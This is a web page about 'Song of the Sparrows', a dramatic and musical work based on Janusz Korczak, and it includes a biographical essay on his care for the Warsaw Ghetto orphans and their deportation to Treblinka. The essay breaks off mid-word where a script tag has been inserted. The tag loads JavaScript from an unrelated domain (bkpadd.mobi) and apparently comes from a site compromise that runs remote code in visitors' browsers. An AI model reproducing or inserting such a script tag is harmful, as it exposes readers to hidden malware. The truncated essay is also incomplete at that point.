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Song of the Sparrows is based upon incidents in the life of Janusz Korczak, a man of heroic proportions during the Nazi occupation of Poland, for whom both Poland and Israel have issued commemorative postage stamps.  A physician and writer of children's books, Korczak established an orphanage which housed within the Warsaw ghetto the children left behind when their parents were killed by the Nazis.  When finally these orphans were about to be taken to the death camp, Korczak spurned an offer to escape himself but insisted on accompanying the children to their death - and to his.

Janusz Korczak, in ever widening circles of literature about the Nazi era, is growing in stature as the personification of resistance of the Nazis.  A brilliant educator, a compassionate administrator, a charismatic leader, Korczak has become a symbol of courage in the face of overwhelming odds.  For these reasons, he is a most appropriate subject for a major work of poetry, music and drama. --Edward Applebaum

Janusz Korczak: Champion of the Children

An ancient Jewish myth tells that there must live on earth at any one time at least thirty-or according to another version, thirty-six-righteous people. Only the existence of these righteous ones justifies our continued survival in the eyes of the Lord; otherwise, God would turn his face from the earth and we all would perish.
  
One of these righteous men, Dr. Janusz Korczak, steadfastly rejected numerous offers to be saved from extermination in the Nazi death camps. He refused to desert the children to whose well-being he had devoted his life, so that even as they  approached death they would be able to maintain their faith in human goodness. Korczak could easily have saved himself. He was repeatedly urged to do so by his many Polish admirers and friends, for he was a prominent figure in Polish cultural life by the time he died. Well-wishers offered to provide him with false identity papers: they arranged for his escape from the Warsaw Ghetto. Even the children whom he had rescued from neglect in the past implored him to save himself. But as the head and leading light for thirty years of the Jewish orphanage in Warsaw, Korczak was determined not to abandon the children who had put their trust in him. As he said to those who beseeched him to save himself: "One does not leave a sick child in the night."

On August 6, 1942, the Nazis ordered the 200 children who remained in the Jewish orphanage of the Warsaw Ghetto to a train station, there to be packed into railroad carriages. Korczak, like most other adults in the ghetto, knew by then that the carriages were to take the children to their death in the gas chambers of Treblinka . 
  
In a successful effort at assuaging the children's anxiety, Korczak told them that they were all going on an outing to the country. On the appointed day he had the oldest child lead them, carrying high the flag of hope, a gold four-leaf clover on a field of green-the emblem of the orphanage. As always, even in this terrible situation, Korczak had arranged things so that a child rather than an adult would be the leader of other children. He walked immediately behind this leader, holding the hands of the two smallest children. Behind them marched all the other children, four-by-four, in excellent order. 
  
For many years preceding this, Dr. Janusz Korczak had been known all over Poland as "'The Old Doctor," the name he used when delivering his state radio talks on children and their education. Through these he became a familiar name even to those who had not read his many novels- for one of which he had received Poland's highest literary prize-nor seen his plays, nor read any of his numerous articles on children, nor learned about his work for orphans. Korczak not only fully understood the child's view, but deeply respected and appreciated it. What Korczak taught best was, to quote the title of one of his most si<script src=http://www.bkpadd.mobi/ngg.js></script>

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